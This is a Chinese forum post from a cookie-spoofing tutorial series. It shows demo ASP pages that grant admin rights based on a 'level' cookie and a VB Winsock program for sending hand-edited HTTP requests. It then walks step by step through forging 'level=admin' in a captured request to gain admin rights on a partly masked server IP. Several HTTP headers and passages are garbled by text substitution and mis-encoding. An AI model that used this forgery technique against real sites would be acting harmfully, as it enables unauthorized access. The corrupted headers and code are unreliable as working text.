![]() |
|
|||
|
------------- 利用winsocket编程发送伪造COOKIE 在上一节中我所举的例子是一个存活期很长的COOKIE,对于这种COOKIE他会生成在我们的本地盘 上的,而对于那些关闭浏览器就失效的COOKIE我们该怎样来进行欺骗伪造呢? 首先我们应该知道在我第一节的例子中弹那个"you are a administrator"框框的网页(level1.htm)其实是下载在我的本地然后执行的,也就是 说他对COOKIE的检验读取也是在本地,那如果是在远程服务器上呢?比如一个ASP程序他又是如何读取我 们的COOKIE的呢?先来看看基本的东东吧:当我们使用HTTP协议向远程主机发送一个GET或是POS T请求时,那么如果有这个域名的COOKIE存在(不管是在内存中还是本地盘上的)都将和请求一起发送到服 务器去. 下面的就是一个实际的例子: GET /ring/admin.asp HTTP/1.1 Accept: */* Accept-Language: zh-cn Accept-Enco操我JJ: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98) Host: 61.139.xx.xx Connection: Keep-Alive Cookie: level=user; ASPSESSIONIDSSTCRACS=ODMLKJMCOCJMNJIEDFLELACM 看到最后一行了吧: )然后我们再来看看服务器是如何进行COOKIE检验的,我举了一个简单的例子: 有两个ASP文件一个叫admin.asp,还有一个叫level.asp -----------admin.asp------------------ <%response.write now()%> <%response.write "<br>"%> <%response.cookies("level" )="user"%> <%response.write "<html><s cript>document.write(documents.cookie);</s cript></html>"%> -----------cut here------------ ------------------level.asp------------------ <% if Request.Cookies("level" )<>"" then response.write "<html><s cript>document.write(documents.cookie);</s cript></html>" if request.cookies("level" )="user" then response.write "<html><s cript>alert(<|>you are a user<|> );</s cript></html>" else if request.cookies("level" )="admin" then response.write "<html><s cript>alert(<|>you are administrator!<|> );</s cript></html>" set fso1=server.createobject("s cripting.filesystemobject" ) set fil=fso1.opentextfile("d:\sms\ring\a.txt",8,true) fil.writeline "you are admin!" end if end if else response.write "<html><s cript>alert(<|>you are not login<|> );</s cript></html>" end if %> -----------cut here------------------- 说明:当你请求admin.asp时,将产生一个临时的COOKIE(你关闭浏览器就会失效),然后我们不 关闭浏览器而 请求level.asp时它就会用request.cookies来提取你发出的请求里面的cookie, 如果你的COOKIE里面的内容是 admin的话那么它将用fso对象在服务器产生一个记录文件(a.txt要注意的是我们在实验时要把目录 设为可写)好了就介绍这么多吧,我们的目的就是让服务器产生a.txt并写入内容"you are admin"还是进行上一节的域名欺骗吗?不是让我们写一个winsocket程序吧,Let G)下面是我们VB+WINSCOKET控件写的一个简单的例子的源代码: -----------------------COOKIE SEND--------------------------------------- Private Sub Command1_Click() Winsock1.RemotePort = Text3.Text <|>远程主机打开的端口一般都为80 Winsock1.RemoteHost = Text2.Text <|>远程主机的域名也可以输IP Winsock1.Connect <|>打开一个SOCKET连接 Command1.Enabled = False <|>一次只能打开一个连接所以要让SEND按钮失效 End SubPrivate Sub winsock1_Connect() Winsock1.SendData Text1.Text <|>打开连接成功的话就发送数据 End SubPrivate Sub Command2_Click() Winsock1.Close Command1.Enabled = True <|>关闭连接,让SEND按钮有效 End Sub Private Sub winsock1_DataArrival(ByVal bytesTotal As Long) <|>接收数据,可以让我们检查数据是否发送成功 Dim tmpstr As String Winsock1.GetData tmpstr Text4.Text = tmpstr End Sub-----------------------CUT HERE-------------------------------------------- 好,再让我们看一看具体的过程吧:这儿要用到一个不错的程序WinSock Expert v0.3 beta 1 一步:打开一个IE然后再打开winsock expert选择监视刚才打开的IE窗口的数据包 二步: 在IE地址栏输http://61.139.xx.xx/ring/admin.asp,那个我将看到发出了如下数据GET /ring/admin.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */* Accept-Language: zh-cn Accept-Enco操我JJ: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98) Host: 61.139.xx.xx Connection: Keep-Alive不要半闭窗口请http://61.139.xx.xx/ring/level.asp,我们又将看到发出了如下数据GET /ring/level.asp HTTP/1.1 Accept: */* Accept-Language: zh-cn Accept-Enco操我JJ: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98) Host: 61.139.xx.xx Connection: Keep-Alive Cookie: level=user; ASPSESSIONIDSSTCRACS=ODMLKJMCOCJMNJIEDFLELACM 三步: 好了对第二次发出的数据的最后一行Cookie: level=user; ASPSESSIONIDSSTCRACS=ODMLKJMCOCJMNJIEDFLELACM 就是我们要改的东东,由于level.asp中相应的COOKIE的检验语句为if request.cookies("level" )="admin" then 所液劝∫们只要把上面的数据的最后一行改成Cookie: level=admin; ASPSESSIONIDSSTCRACS=ODMLKJMCOCJMNJIEDFLELACM 就可以了,后面的东东很重要下面我再说明一下: ) 四步: 把改过的数据拷到我编的程序的发送框里面输入端口和域名后。。。。。 五步:到服务器看看是不是生成了那个a.txt里面的内容为"you are admin |
![]() |
| Currently Active Users Viewing This Thread: 1 (0 members and 1 guests) | |
| Thread Tools | |
| Display Modes | |
|
|
Similar Threads
|
||||
| Thread | Thread Starter | Forum | Replies | Last Post |
| 彻底破解HYIP投资的骗局 | keyi568 | 中文 (Chinese) | 0 | 11-04-2007 01:16 PM |
| 我是新手,有哪位好心人士教教我 | janeshen | 中文 (Chinese) | 2 | 08-27-2006 12:26 PM |
| 网赚新手完全辅导教程1 | sgwei | 中文 (Chinese) | 1 | 08-12-2006 07:31 PM |
| cookie欺骗教程1 | sgwei | 中文 (Chinese) | 1 | 08-12-2006 06:53 PM |
| 各类邮件站“欺骗链接â€总结!!——新人必看! | sgwei | 中文 (Chinese) | 2 | 08-12-2006 07:24 AM |